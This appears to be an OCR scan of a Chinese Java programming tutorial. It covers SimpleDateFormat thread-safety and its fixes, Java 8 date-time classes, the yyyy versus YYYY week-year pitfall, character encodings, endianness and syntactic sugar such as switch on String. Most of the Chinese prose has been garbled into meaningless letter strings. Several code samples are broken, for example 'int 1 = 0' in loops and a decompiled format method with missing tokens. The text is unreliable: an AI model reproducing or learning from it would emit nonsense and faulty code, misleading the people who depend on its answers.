K am/pm PEVNETEL (0-11) Number 0

h  am/pm AR/ NEFEL (1-12) Number 12

m NEFFRAY S ERER Number 30

s DEPIE Number 55

I % Number 978

z X General time zone pacific Standard Time; PST; GMT-08:00
z B RFC 822 time zone -0800

BRAFHEEEEEN, R EMEEBHRER N TREFBIEEEINERTRSG X,

H RAFIET B4R SR

"yyyy.MM.dd G 'at' HH:mm:ss z" 2001.07.04 AD at 12:08:56 PDT

"EEE, MMM d, ''yy" Wed, Jul 4, '01

"h:mm a" 12:08 PM

"hh 'o''clock' a, zzzz" 12 o'clock PM, Pacific Daylight Time
"K:mm a, z" 0:08 PM, PDT

"yyyyy.MMMMM.dd GGG hh:mm aaa" 02001.July.04 AD 12:08 PM
"EEE, d MMM yyyy HH:mm:ss Z" Wed, 4 Jul 2001 12:08:56 -0700
"yyMMddHHmmsSZ " 010704120856-0700
"yyyy-MM-dd'T'HH:mm:ss.SSSZ" 2001-07-04T12:08:56.235-0700

i H A EIRY X AORTIE]

B XM ERIKISERE—MIEEN . LT, AMIBIRRARIME (B3fH ) R
EE, XeESARZENMISAIIIEBEAR (758 ) . 1863 F, ERERIIXAY
B B XETIR — ISR ERT IR AR T XN a o
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HRAFPERUTHWEARMVE L, RtFEER, IR FRAEEANERBE. B
EHNEBEEMRE. XEREMESMBAINE.

WSERHED N 24 MK BFEREER 1 TER, 1 1M&E0RITES 2 M 5E
ZX, FHTRMETH ERTSE, B85 11 ExR 1 MapilE—i. LKA ATE
REItESZRY D, MEREAFERLD . g, FEBRE, E4ZE 5 MITKX,
BATERSEESSR, LR EERBR I XARER B R EiE.

AT AR XAEZER—HH, EER— T EXRRERHIIEERR BEA—F, Fr
LA, # Java RBE2IRENESERIAN R, BEELKE— FIXE,

BOABRT, WRAHER, EelZBERIMHE, SERIRITTEIFERIRXEBOA
R, BRI ATINIBERERER A LASRER P ERI S RIRT EIRYRE

A, WIE Java KRB IRENA BT XAIRTEIE? SimpleDateFormat AT LASEELX

NIBE.

SimpleDateFormat sdf = new SimpleDateFormat ("yyyy-MM-dd HH:mm:ss") ;
sdf.setTimeZone (TimeZone.getTimeZone ("America/Los Angeles")) ;
System.out.println (sdf.format (Calendar.getInstance () .getTime()));

LAERHES, 3EMAERE: 2018-11-24 21 00 . ExFERIESEZ 11 B 256 H
A913 /=, MEERZUEELFEILREGEE T 16 N\ (XIEMEESHEXER, o
THFEREFAT ) -

WNRARESEER, (RIER AT LAEIFTED— T EEALIATE ( America/New_York ) o

HL9AYE)=2 2018-11-25 00 00, ALYRSEILLPEILREIEE T 13 NN o

1R, XA TREMIXME—SE, AEANEZERTNE SimpleDateFormat,
HitmXEANET .

SimpleDateFormat &2 et

T SimpleDateFormat Lbi&ER, METE—M&ERX T, — R AAIRY EERME
#HE—HR, FLRZ ABEFEBUTERNEN SimpleDateFormat:
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public class Main {

private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat ("
yyyy-MM-dd HH:mm:ss") ;

public static void main (String[] args) {

simpleDateFormat.setTimeZone (TimeZone.getTimeZone ("America/New_York
"))

System.out.println (simpleDateFormat.format (Calendar.getInstance () .get
Time ()));

}
}

EMENSN, FERANEZERE.

BAIRE RN, LAMUBERLAE bR T EE L .

/** * @author Hollis */
public class Main {

/**
* EX—AN%EHH SimpleDateFormat
%/
private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat ("
yyyy-MM-dd HH:mm:ss") ;

/**

* ffif] ThreadFactoryBuilder & X —2ZkFEith

*/

private static ThreadFactory namedThreadFactory = new ThreadFactoryBuilde
r ()

.setNameFormat ("demo-pool-%d") .build() ;

private static ExecutorService pool = new ThreadPoolExecutor (5, 200,
0L, TimeUnit.MILLISECONDS,

new LinkedBlockingQueue<Runnable>(1024), namedThreadFactory, new Threa
dPoolExecutor.AbortPolicy());

/ * *
* & X~/ CountDownLatch, RIEFTE TEHIERAT 7EL G LA BT
*/

private static CountDownLatch countDownLatch = new CountDownLatch (100) ;

public static void main (String[] args) {
/ /X —ANEFEZ 4 HashSet

Set<String> dates = Collections.synchronizedSet (new HashSet<String>
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for (int 1 = 0; 1 < 100; i++) {
/ /AR I [
Calendar calendar = Calendar.getInstance();
int finall = i;
pool.execute (() —-> {
/ /I (B 84
calendar.add (Calendar.DATE, finall);
/ /i simpleDateFormat FEHF A 745 £
String dateString = simpleDateFormat.format (calendar.getTime

//AEFRF RN set H
dates.add (dateString) ;
//countDown
countDownLatch.countDown () ;
1)

}

//F%E, B3| countDown &= N 0

countDownLatch.await () ;

/ /5 2 R I RS2

System.out.println (dates.size());

DLERHS, HsCthinEe, REZIER . SEEN—BX, BXERRIIHMREESRIT
[EEAE_EIBIN— PRI (XD REFEER/OREMEN ) , ATSIERE BB — P &iER
£RY. TEXEEINEER Set 1, AL Set FTHENH.

FEOAFRISEENEMESR T L%, AER/LFEINTIE., XEESKRET
. . lambda Fix. &iEZE£h) HashSet FxiE, &

FKBRIPRARAILIE— T — T,

ERERT, UEAEmEERNZE 100, BELRATERE— /T 100 %L

RR#ZRE Y SimpleDateFormat {fEA— 1 IFELIE R 2RIE, HEMTH=ZERS
NEREPHITER, XHI T HEZ LT,

£ Java FAFMIE—EEANT —HALGEF X T X—< BB EHHRA:


https://www.hollischuang.com/archives/2888
https://www.hollischuang.com/archives/290
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5. [iil] SimpleDateFormat L&A LAEMIE, —PALEE O static B, WHRE LH
static, LZNEL, 2{F{EH pateutils T.H%.
. EE&ELe, (] Dateutils. FRIEFFAN FALEE.
private static final ThreadlLocal<DateFormat> df = new ThreadlLocal<DateFormat>() {
@override
protected DateFormat initialvalue() {

return new SimpleDateFormat("yyyy-MM-dd");
}

A, BETRENAKETARENTA, URIZTRR.

HEFRERR

BT LR, BAIAI T EH ABSESER SimpleDateFormat B & 2L £ AR
=i, JDK TP ELRRHEEIE T SimpleDateFormat AiZAES&IEH=T:

Date formats are not synchronized. It is recommended to create
separate format instances for each thread. If multiple threads access a for

mat concurrently, it must be synchronized externally.

LIEFERLFT T AFASETXME®, SimpleDateFormat [EEZIER2EASL
97

A 1ER—T SimpleDateFormat 2&7 format 757XA9SL N E SLRt BE A T IH(5 o

@0verride
StringBuffer format( Date date StringBuffer toAppendTo
FieldPosition pos)

pos. = pos. -
format(date, toAppendTo, pos.getFieldDelegate())

StringBuffer format(Date date, StringBuffer toAppendTo
FieldDelegate delegate) {

.setTime(date)
useDateFormatSymbols = useDateFormatSymbols()
) {

1

coun
count |=

(tag) {

toAppendTo.append(( ; )count)

toAppendTo.append( i, count)
i += count

subFormat(tag, count, delegate, toAppendTo, useDateFormatSymbols)

toAppendTo
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SimpleDateFormat HgY format FiAEHITIZREFR, SERA— 1 HRETE calendar
RIRTFEATIE) . XELH 2 ERAIKHE

HFFHAIE~BE SimpleDateFormat R9RHE, FANE static EXHY. BBAXD
SimpleDateFormat #i2— M Ht=3=E, ez, SimpleDateFormat 89 calendar thgf
FLEES N EZREE .

BRIREAE 1 NIRRT IERTIENR &R 2018-11-11, 182 EHIT5,
S22 NTT IERTEI AL T 2018-12-12,, IXAMRLZFE 1 4R 4eE T
0T, 229 SERATEI R LR 2 S ZfERY.

8T format 75i%&LAS, SimpleDateFormat B9 parse J5ixthE ERERITRR
FFLA, A~EE SimpleDateFormat fEA— 1M HEETEFEH.

SnfolfER

BIEMAIZ T SimpleDateFormat FEMERLAN BEEFENERR , BBABTAINE
R RIXFh )RR ?

BREEEREZ, XENB=ERERBITGE,

EREEREE

for (int 1 = 0; 1 < 100; i++) {
/ /3RE 2 Ti H [e]
Calendar calendar = Calendar.getInstance();
int finall = i;
pool.execute (() —-> {
// SimpleDateFormat jH BH = HE2A &
SimpleDateFormat simpleDateFormat = new SimpleDateFormat ("yyyy-MM-dd HH:m
m:ss") ;
/ /W a5 n
calendar.add (Calendar.DATE, finall);
/ /it simpleDateFormat R [A)#; i Bl 7457 5
String dateString = simpleDateFormat.format (calendar.getTime()) ;
/I TEFRFERTIN Set
dates.add (dateString) ;
//countDown
countDownLatch.countDown () ;
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SimpleDateFormat 5 7 BEfEE, MASHSNEERNIBIEET, #bie T4
ELEml,

INEEZN

bR T M ABERZELISN, ME—MTTAARARELLRAER, B TH=ZEHTIMN
o

for (int 1 = 0; 1 < 100; i++) {
/ /3REX THTH [a]
Calendar calendar = Calendar.getInstance();
int finall = i;
pool.execute (() —-> {
/ /A
synchronized (simpleDateFormat) ({
/ /W a5 n
calendar.add (Calendar.DATE, finall);
/ /83 simpleDateFormat T [A) e 744 He
String dateString = simpleDateFormat.format (calendar.getTime()) ;
//AEFRF RN set H
dates.add (dateString) ;
//countDown
countDownLatch.countDown () ;

BN, E2NEEABNFRIT. BT HRSHNEEZETH.

B ERRBEE R LASGHATS , SR LUEHRIN EBRER/N—=, FTLIRXS

simpleDateFormat format IX—f7IN, XHERERES—L,

{§A ThreadLocal

F=FAI, SEFA ThreadLocal, ThreadlLocal BILBERE N ELIEEBAT LSS
BAY— SimpleDateFormat BINISR, BBABAEMAFEZFIEIE T

/‘k‘k

* ffif] ThreadLocal & X—1£/HH SimpleDateFormat

*/
private static ThreadLocal<SimpleDateFormat> simpleDateFormatThreadLocal = ne
w ThreadLocal<SimpleDateFormat> () {
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@Override
protected SimpleDateFormat initialValue () {
return new SimpleDateFormat ("yyyy-MM-dd HH:mm:ss") ;
}
i

// FHE
String dateString = simpleDateFormatThreadLocal.get () .format (calendar.getTim
e())s

A ThreadLocal REMELREREMTEFIEE, BTEEHE— T RZA0T
xR, BRTMEENR, HERTSHENRS.

S, UERBBaERHE=E, #2, HSL SimpleDateFormat RIEIZITIZRI LA
FERNNE . XEMAFMANET -

M8 DateTimeFormatter

WRE Java8 NA, SJLUFER DateTimeFormatter f£& SimpleDateFormat, X
B TEEZEBNITAEE., MEERXEFIHMN, XK simple beautiful

strong immutable thread-safe.

/ /fERT H

String dateStr= "2016 4F 10 H 25 H";

DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyﬂiMMfﬂdd[ﬂ");
LocalDate date= LocalDate.parse(dateStr, formatter);

/1 AR 7T

LocalDateTime now = LocalDateTime.now () ;

DateTimeFormatter format = DateTimeFormatter.ofPattern ("yyyy MM H dd H hh:mm
a");

String nowStr = now .format (format) ;

System.out.println (nowStr) ;

B

AKXNET SimpleDateFormat B9FE%, SimpleDateFormat EZaJLATE String 1
Date zEfffiEie, AT LVEREEZEKEABN XL . BRI EF AZSF
SimpleDateFormat 24 gefRIE&IELZEl, FEFAEHOKRFIEEZEMN.

FERNNFREXNNBEZE . (FR synchronized 0. M Threadlocal A&
— N ERERHAIE—E,
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FLEBIUM, (ReJLAEER SimpleDateFormat ROBHMEENNE OGN F .

Java 8 BId&m#AY Date-Time API (JSR 310)kH—L10aExs HHI SATERILE

#,

fEIBMRRY Java &, BHEARYE) AP FEEZiamm, Hpba:

«E&FEZ 2 - java.util.Date R2IFERELZEM, MENBHREHRTTH, X2
Java HEAZEEARIERZ —,

< RIHRE - Java BIBHA/ATEZERIE N FHA—, 7 java.util # java.sql NEHERE
BERZE, UAMRFREIICFNRRITRIZEE java.text BFEN . java.util.Date FERSEE
HERFNAIE), M java.sgl.Date (XBEHH, BHHAN java.sql BHFAEE. BN
RMEEEEENET, XASHE— M EEEERIT

o FTXAMERR - BERRHREMERRME, RERNKXSZE, FEitt Java 5|7 java.util.
Calendar #1 java.util. TimeZone 25, {B{tB{JEHFE _LIARTBRIEER,

£ Java8 F, FHIRTIEIN BER APl T java.time 84, ZBFBMLEERZE,
PRIET HA?

AE)ER
FFEERdE, BdEE
SE&HE, tbwn: 2016-10-20
JBEHEE, tban: 23 10
QEEHE, tbil: 2016-10-20 23 21
AYE)RR
X{m&E, tban: +8:00
A XAYASE)
BYeh,  CUUNsREN B RIEEHL0A98E)

189 java.time BiRE T AL IERER, ATE), HE/MATE), BFX, B3z (instants) ,

%2 (during ) SEI# (clock ) AIERIE.
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LocalTime #1 LocalDate BIXHI?

| ocalDate &/,HER, £AH, | ocallime £REYE, IR,
FRENZBURTIE]

£ Java8 &, (RN~ FAEN X EIHT(E):

LocalDate today = LocalDate.now () ;

int year = today.getYear():;

int month = today.getMonthValue () ;

int day = today.getDayOfMonth () ;

System.out.printf ("Year : %d Month : %d day : %d t %n", year,month, day);

Bl e HHAROATE)
LocalDate date = LocalDate.of (2018, 01, 01);
KMEEF

EiEf#MLocalDate B9 isLeapYear BIAHMr 25 EHE:

LocalDate nowDate = LocalDate.now () ;
/ / FITE A

boolean leapYear = nowDate.isLeapYear();

THERABRAZ ERIREF B

£ Java 8 HaJLARjava.time.Period ZER#itE.

Period period = Period.between (LocalDate.of (2018, 1, 5),LocalDate.of (2018,
2, 5) )8

SMEITESR) \ XUt S EIRENEEIRT 8]

THE Java8 RIBRRAJREERRNE, Javal8 IRt T —EMAIATIENLIE API, XE API LY
VARTROBIELEE AP ER1FHIZ .
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Java8 HIIANTXEIXAISZHE, mATXAIETEI RSB ZonedDate, ZonedTime.

ZonedDateTime.

HRS/ HREBYNE ID, X ID & “{KE}/{mm}" 98,

Asia/Shanghai. America/Los_Angeles &.

£ Java8 th, BEE(ERLATMUIBRIR it EEEAZHAATE):

LocalDateTime now = LocalDateTime.now (ZoneId.of ("America/Los Angeles"));
System.out.println (now) ;

A AL EER S EE RS ale?

System.out.println(Calendar.getInstance (TimeZone.getTimeZone ("America/Los__
Angeles")) .getTime () ) ;

HEAVER System.out.printin ki H—ESEIAYEHE, =8 Date M9
toString J5i%, Mz AR IEEURIER FAIZOARS X R TRIEIAVEE R .

public String toString ()
// "EEE MMM dd HH:mm:ss zzz yyyy";
BaseCalendar.Date date = normalize();

private final BaseCalendar.Date normalize () {

TimeZone tz = TimeZone.getDefaultRef () ;

if (tz !'= cdate.getZone()) {
cdate.setZone (tz) ;
CalendarSystem cal = getCalendarSystem(cdate) ;
cal.getCalendarDate (fastTime, cdate);

}

return cdate;

static TimeZone getDefaultRef () {

TimeZone defaultZone = defaultTimeZone;

if (defaultZone == null) {
// Need to initialize the default time zone.
defaultZone = setDefaultZone() ;
assert defaultZone != null;

}

// Don't clone here.

return defaultZone;

}
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FEREW L, EFRRNRHKATEEZET System.out.printin #E—1 Date 2209
iz, IEEERZLZONEMNIE, BEEEDEIE defaultTimeZone XA

America/Los_Angeles.

B2, BEIIFEiEE Calendar FIIRRS, FAITLALIL, getinstance FiERAE—1S
HAILMEANR X, BEHFEEEBANKIZRERENNNX .

£ Calendar.getinstance.getTime E5EIRATEIRE2— A&, EPRERBIE

IHRNXEXER, FrA, i, TREERIIZIRRFFAITXAIATE.

yyyy #1YYYY BHAXE?

A SimpleDateFormat RIRYE, FEBIIFEIREAIIEITR, FHAKMKEZEAY
REAFIRSEMRTN . FEARRINETSEAFBRISINER(JDK 1.8)0TF:

Letter Date or Time Component Presentation Examples

G Era designator Text AD

y Year Year 1996; 96

¥ Week year Year 2009; 09

M Month in year (context sensitive) Month July; Jul; 07
L Month in year (standalone form) Month July; Jul; 87
W Week in year Number 27

W Week in month Number 2

D Day in year Number 189

d Day in month Number 10

F Day of week in month Number 2

E Day name in week Text Tuesday; Tue
u Day number of week (1 = Monday, ..., 7 = Sunday) Number 1

a Am/pm marker Text PM

H Hour in day (0-23) Number 0

k Hour in day (1-24) Number 24

K Hour in am/pm (0-11) Number 0

h Hour in am/pm (1-12) Number 12

m Minute in hour Number 30

s Second in minute Number 55

5 Millisecond Number 978

z Time zone General time zone Pacific Standard Time; PST; GMT-08:00
z Time zone RFC 822 time zone -0800

X Time zone ISO 8601 time zone -08; -0800; -08:00

BJLAER, y & Year i1 Y 5~ Week Year

H4E Week Year

Bf1F0E, FENEZRNT—RFRIIEREXZRE . EFE, HIEEH
—FA—REE—X, MEEXE, MIIEERRFEN—FBRIE—X.
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B, MTEXB—RAR—FIPHNE—F? XtBE—Nal, 8REMAEH.

ELRIFEIR 2019 £ 12 B-2020 &1 BR—HHET

2020+ 1 SERE BAWT &P
2 - = = s A x
78 AT s
& 6 g 8 9 10 1
g : +m +E ‘ H
12 13 14 15 16 17 18
T T i 8] LN MANE
19 20 21 22 23 24 25
26 27 28 29 30 31

FRP—REZ & 2020 FHF—ElE? FRIMXMEZR, EERERIA, EEFERY
IE%& o

V1B 1ERAEA=, 3T™TE=(1B8H) , X7 XEEX—FNE—&F.

2. BREA (B—) 72—ANE—X, FrLL, M 2020 F19%—1ER (BF—)
FHafEEHE 7 RABX—FRIE R,

«3. ER12.29. 12.30. 12.31 22019 &F, M 1.1. 1.2, 1.3 A2 2020 &F, m 1.4
RAHERT—EFE, L, B—RMZRE 11, 1.2, 1.3 X=X,

ISO 8601

EAFRBAXS T BENERFRTDEZERENER, T2, ARAHRHET 7T
EfREE: 1ISO 8601 .

Ebrr BN AR ERRE ISO 8601 2RMAFIREMZRRGE, A ( EURFHE
s - ERRR - BEIFIREMRTITE )
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£ 1ISO 8601 &, WF—FRIE— 1 BHHEBLITIUMERIRIE:

o1, NEEE—NEHURTEREZE;

«2, 13 4 HFERIEEE;

« 3, RFEEF—NELE 4 XEF—EHRNEE;

<4, EH—HAEXF 12 A 20 HESTF 1 B 4 HURRKIEH;

RIEX MR, BAITLUESRL:

2020 F£5%—MAE: 2019.12.29-2020.1.4,

PRLA, 1R4E ISO 8601 trfE, 2019 F 12 829 H. 2019 F 12 B 30 H. 2019 &1
2 B 31 BX®X, EXARET 2019 FM&E—F, MEET 2020 FA9%E—F.

JDK £33 ISO 8601 2RI #F .

HRIE 1ISO 8601 X FHBEWHIRFRTERNEN, 2019.12.29-2020.1.4 Z 2020
FRIBE—E

BMNBEBMA—TBE, REREFRSFHEAN], RIEI1SO 8601 hxFTHHBEIIEN,
XA BERRIEB T —F.

EeanFeimA 2019-12-20, thEiFEKE 2019; mIBA 2019-12-30 HIAHER, fthes
IFF= 2020,

RTRMXFEEIE, Java 73IAT [ YYYY | EA— N BEIRER SRIE AR
FEATYYYY | fERRE, . Bi@iY SimpleDateFormat sial LAERI— 1 BEAFREREE
FE—=7T,

PR, SEMNEBFRHBPNIMERE, —E2EA yyyy-MM-dd mAZ YYYY-MM-
dd , XWERIROIERKRSEHBER TE—F, ERNGEIASBERE T .
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ASCII( American Standard Code for Informationinterchange, ZEEEE3ziz
FRERTD ) RETH T8N —EBRNRBRES, FERTFETURAMEIEMARES .

ERNSRBANRFTLRBAS, FERTEMRMRE ISO/IEC646.

A ASCI 1Bt NUEAL ASCIIN 18, FR7 L _#HHIE (| FTRI1 2 _#HEH0)
RERTITBENABINEFE, #HF0 9. HTRES, URAEERZEPERAFEK

IR o

Heh:

0~31 R 127(# 33 MNEREHFEFNBEERAFF ( HERATERFR) , W
& LF( #f7) . CR( [E%) . FF( #%) . DEL( M) . BS( ER).
BEL ( M%) %; WEEA=ZER: SOH( XL) . EOT( XE) . ACK(
A ) &

ASCIl{EZ9 8. 9. 10 #1113 oAHEHAIRKE. FIFR. BMIOTHEEFHF. ©iFHF
RERFENERER, EBREAENNERER, MYXAENERERISIN:

32~126(£ 95 MNEFH(32 22518) |, HF 48~57 3 0 F O+ MNTHERT
65~90 1 26 MABEXFE, 97-122 2K 26 MBEXFE, Heh— L5

= &~

s, BERFSE,

ASCII 13, 2B 256 1FF, EEARRREEE T, tNBRINFHAVFHEET,
BEHR EAREGEEREFRIT, ﬁEL)\ﬁ%jc—$¢%7JDéEE’J—7—ﬁ$ o

Unicode (5X: FES. EFrfS. $—i5. B3 ) 2itEVR=9ig 20—
Kz, BYHR EXEOININFRGHT TEIE, RS, FETENTUBERNEERENS
EC;EEEI/L*Di{ESZ% o
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Unicode & BRFHFERINETNAR, BIFBLUBAIERIINLZE . Unicode
ESMERIBE, BNFIRSEBIMANESHNFT. BRIRFIRAN 2018 F6 8 5
HRmAY11.0.0, BEEKFBI 18 BPFH (BB NFHE 2005 F3HRRM ) .
Unicode i#ZERIEIRERR T WK ERIFHZ . miDTTE. WERIFARIDIN, R8T FM
%, WRNEFH,

Unicode ZEHIFEFNES—BECE RS  1ZV I FiL Unicode FEREULEEE
=R EE. BABRENAREFZTEIFEER, TRNEATSIEHTE,

Unicode &=IAR], I 2t AF I BEVSENERRM SRt idiZ . BRZHE
¥, sy EE&imES (Extensible Markup Language, &#R: XML ) . Java Rigia
SURIIAHIRIER S, #RA Unicode 45,

Unicode BJLAFRRFIZ,

I"XH Unicode B2—"1irE, EXT —1MFHEUR—RIAMBAN, B
Unicode =#FE&EF UTF-8. UTF-16. UTF-32 FEHmIBAMN .

Unicode 2=F&FE&E., UTF-8 Z4REHN,

unicode BAGZ— T 2 HRFHN_HHIMRD, ERBMEUEFE

202 Unicode E—ME, BMHFSHMER="INMFTER, BAFHLE, ReE

RAXAZFHARERTTE,

—BEXAME, BABNRNFEHRIFHVAET _I=1F1E 0, FBAMBEEXFEHE
ASCII &g, HRLIB—"FhER, MRFHUERENT 0.

WMRIXHE, A ANEREE A =, XN FFERIRERAAGREE  XHES:
H—1ER: HWT Unicode ISHEEST,

UTF-8 B2 Unicode B9—"MEAB I, EiItAIZ 4 Unicode Tranformation
Format SERTLAROIE .
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UTF-8 R KEFTRIERF Unicode 55, fIa0 ASCI FE4KE(FER 1 FH1iF
7, BE8XZF. FlEFEAERFEEHER 2 FHXMERF, MERNXFTAEER I F
o HEITFEFMHNGER 4 F15,

—RIERT, B— MR QARHI— SRR | IR X— RIS, B
% PSS e AT LA A & 218 o HeANAEEE S st B B ST i 5 RO
i —te,

Unicode REMILFREIEXFHFSHIEMTERE, ERNNFHABTFHRE.

UTF 22X Unicode Transformation Format B985, E/9iE Unicode =754
WAEMEL. UTF RImIBHEE (UTF-8. UTF-16. UTF-32) 32/ Unicode
WO HRATEMEK, LENARNHIEF#ENEE, Si1EaIE2% R Unicode R
hHRFE = . B, X7 aER UTF-8 #Z#A, m UTF-16 1 UTF-32
WR/DHAER

UTF-8 ER—ENNFTABITFHERE, EPREDXNFREA=1"F1RE, L&
FEAXFRANNFTRB. FR UTF-8 @ KERRBSI, H8XF Unicode
FRABEILAR D S RRRY=SIE), FRLARRT 2 (ER.

UTF-16 RS MFHABNFARE, HPASoXFRARINFLmG, 2
ERERANFRANTFLRG. UTF-16 BB XEFM/NEFZ5!, Bl UTF-16BE
1 UTF-16LE, #EmiBRIsmE—" U+FEFF =z U+FFFE (UTF-16BE LA FEFF
sk, UTF-16LE LL FFFE sk) , B U+FEFF ZFf# Unicode FAERIIENE
ZERO WIDTH NO-BREAK SPACE, lEZENX, ERMNIRAREERIEHMFN=H.

UTF-32 ERMAMFHABINFAmE, £15 UTF-32 SRTEEEsEEERY
RZFPfE. UTF-32 5 UTF-16 —HFBXEFMNEFZA, RIBRISHE U+000
OFEFF 3k U+0000FFFE LAK% .
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H3 UTF8 SLELREIMBRNFHRIZT , ERXMFHINEERSEIINEERN,
MEREAEEMRTEEEER, EFEFNE—EENERNE, T2 CBK LT .

=EERIFTTFFFRIRIS SN, &RFEBRIE GBK.

LITHRE®RE CSDN, MMERIELRIFH .

GB2312 (1980 £ ) : 16 ii=FfF&, WFRE 6763 NMEKNF, 682 M5, 74
ASANFFF; im: ERTEARFINE, BTFEEZNE, BITT AR, FHilkEtib
(ERLLmES; R ARBELRF, HNFEEGID,

GBK (1995 ) : 16 =55, WFEHE 21003 MNNF, 883 IMFS, 21886 1
FH; MR ERTEERXHFRNE, A Windows FrER (UFBR cp936) |
[ F=EFHE gb2312, [ X2 ISO-10646 EfFinE ; PFEF AR LA—Xt—REdE]
unicode2.0 t; R=: NEFTELINE, Fbigh ZBFHEHiR; RSLRS|IZE TR
b7 GBKINEE .

GB18030 (2000 £ ) : 32 {UFfFE; WRT 27484 MNNF, FRKRTRIN. &
X, #HERNEFEEZNPHRENF . = JUNEAEIREBRINNFMGS, BT
FESHNERNE, e BRESHFerReRS.

WLEITE RFC 1738 i TIEMME REFEMEF[0-9a-zA-7]. —WiEHES
“6— +17(),” [FEIEWNSIZ]. UREWREBF, AAUREIHEEERTF URL;

BRICLAOMNOZFRERAE URL RS, PRLL, BEIXFZRF, M3, smEiliT
TR

PRLL, IERBEEHRTMAEI URL 3R LARTRAY URL J12, #RZ2 URL 4RA3.
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Rz, HiEEE.

URLEBIUFERAEMN AKX, lescape, URLENncode,
encodeURIComponent,

FIF, BHMEFTHINE, ERRSFHRSIEEARFTRIFERIRT .

FEILVFEFRBRIMEE L, SFHXRERFENEZNFTFI. fial: 1R C/C++dh
F— int BUEEE a AUERIAHEIEE&a = 0x100, BBA a RPN FHS R iEesn
0x100, 0x101, 0x102, Ox103 U &.

RIEEH a FIELEN 4 byte REFNEHEINF, =P FEED AKIEE ( Big
Endian) 5 /g (Little Endian) &,

Big Endian 2fgf&ibitin 7 SUFTH. Litle Endian 2fg{Eittlitin FHUER

FI,

EEan#= 0x12345678 fEMMARZFT5F CPU FRIFENINF:

Big Endian: 12345678 Little Endian : 78563412

Java 3 Big Endian kEZFE#dE. C\C++3XH Little Endian., EMEER—ARF
BMKZ=TFE BIG-ENDIAN, #1 Java 2—H#9.

FRLAMER C/IC++BEBEREFN, EAIXEIERIS BRI BRI REIEEITAEN
FHFRIMEF TR , MiEBEUEE T BRI BB HRE N A SE M S =15
HFENFHRNER, MRBEN—FZ JAVARER. —52 C/C++iE2FT, NEFEER
ClCH+—MERLA LA ERH T AL, T JAVA —l, NAFEEUTMLIE,
EA JAVA ZBFEREFTFERZ BIG-ENDIAN, RE C/C++—UsEIEME 1 T451%4R]
& (REBMENFRIMERF, RRRER) . IRBENNITERE JAVA, WRAR
REEFTFIERT
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15/E5¥E ( Syntactic Sugar) , iREXIEL, SEHEETENZEZR Peter.J.Landin
KRPH—IARE, IBETEVIESTIRINEMEL, XIMEENESIIEH BN,
BEESHEEFRREMA.

K Chat M Java mFRIEHBE, FAFEDREN class &, HzLRI5, TH Java
FENEEERIER AL, BIAREZSWAER Java EEENER, THRIXEELNE
BENRE, TERNEUT:

R MER= —— HhEESiRE . ¥ER+— —— try—with-resource ¥ER+—
— lambda FAI{ HERIEE — EXEFERAIETEEIENREENA.

1A

18/E5¥E ( Syntactic Sugar) , iREXIEL, 2HEETENZEZR Peter.J.Landin
KRBPI—NARIE, IBETENIESTIRINNEMESEX, XIS ENESHINEHEER 0,
BREELEEFRER. Ams2, BXARMEFEINES, BEsHIEHE.

BEERIR, EREE, RTIEZE, DEEZRMEIEBIRE, RIEERXE
MY .

BAIFRRARNREES P/ LVFEGEEE (FE A, BEENZ O 2IFH—NESE
TRFBRIREZ —, RZB AR Java 2— “MHEES" , HLM Java 7 745 Java i
SEAEL—BEERNSHE, TE27E “Project Coin” MB ik . REWE Javad
AEBNRBER Java 2EHE, RRESIFEODE ‘= IBERE.

EIRNE

BIEREY, EXENTEETERSEFAARMER. BHL, Java EIWIFASHIRIX
LOERNE X EE R RIEN RIS RO R B SR AR RS XITIE B RRIE RN .
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HERE, ARSEHHE, JavaBEF, A LIBERE N A9IESZ
HRENEBEEN Ma L7 F Java BN FEHB. RREEF
RRIS, REARTE FE— LR

F2EA , XN EM R R RE AERISTIIAY .

Java REEBIEZIELTEEZE . TR FMRE. BabiFEE. REkES.
AN EEZRSH FXEEEEEENRE, —S—LHEEKR, BEEHARK.

FER—. switch 3§F String S5#a¢

BIEIREE, M Java 7 Fta, Java BEHRNEEETEERNTFSE, HP—NHUREE

mRtE Java 7 FHAsT o
EFHA coding ZRISERIE T, Java HHJ BERAMSTIFEARZEER  thal int.
Fo XTF int KB, EEHITHERLER. T FRNZLERHE ascii 13 FTLA,
X T ImIERTHIR hESCHESE AR, (HURBIRLLIRER R B RS . than

) ) (aCk” ﬁgﬂiﬂg:lt)l/\/{& into

BBARETNRET switch X String 85245, BLATLR:

public class switchDemoString {
public static void main(String[] args) {

String str = "world";

switch (str) {

case "hello":
System.out.println("hello");
break;

case "world":
System.out.println ("world") ;
break;

default:
break;

}

EREWT:


http://www.hollischuang.com/archives/58

885 > EENE

public class switchDemoString
{
public switchDemoString ()
{
}
public static void main (String args|[])
{
String str = "world";
String s;
switch((s = str) .hashCode())
{
default:
break;
case 99162322:
if (s.equals("hello"))
System.out.println("hello");
break;
case 113318802:
if (s.equals ("world"))
System.out.println ("world") ;

break;
}
t
t
BIXMUE, (REBERFFHFER switch 2@81d 0 Ak
SCHIAY . IRGF FiEREIRIZ int, AR o
FARE TR, #iT HLfrERAE, AEEEFER At

TRERE, XTRERVERN, RARFHESKENE . FItERIMEEERTERKE
1T switch SREERERHEE, BXBARRE.

R, 2’

BNEINE, RSIESHEIFZEN, ERRSAFTMENZE, FENmESENTZ
ARNMEFXRAEN, BEBRT, —MRESLEZEERME:
i o C++F1 CH2(FA RIS,
i Java Y2 B9t o
Code sharing Bl ABMZEEBQIEE—NFHRERR, FEBZZEERNT
BIESPRER ENX ME— N FHIDFRR L ST BRI R E—RF B iER a2
FERURRR ( ) SCIHY .
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ik, XF Java ETWJL%EEE, ARATIAIR Map<String, String> map iX#¥
ANEE. EEEmEMN BT RBURIRIV S UH TR ENE,

REEIRIEZIRRINT: 1USBRZESHAESRANR (RINFAIREER ) %
BER, 2BRABRRESH.

AR

Map<String, String> map = new HashMap<String, String>();
map.put ("name", "hollis");
map.put ("wechat", "Hollis");

map.put ("blog", "www.hollischuang.com");
BEIEZEER

Map map = new HashMap () ;
map.put ("name", "hollis");
map.put ("wechat", "Hollis");

map.put ("blog", "www.hollischuang.com");

LARACES:

public static <A extends Comparable<A>> A max (Collection<A> xs) {

Iterator<A> xi = xs.iterator():;
A w = xi.next();
while (xi.hasNext()) {

A x = xi.next();

if (w.compareTo(x) < 0)

W= X;

}
return w;

}

SRR ERTA

public static Comparable max (Collection xs) {
Iterator xi = xs.iterator();
Comparable w = (Comparable)xi.next () ;
while (x1.hasNext ())
{

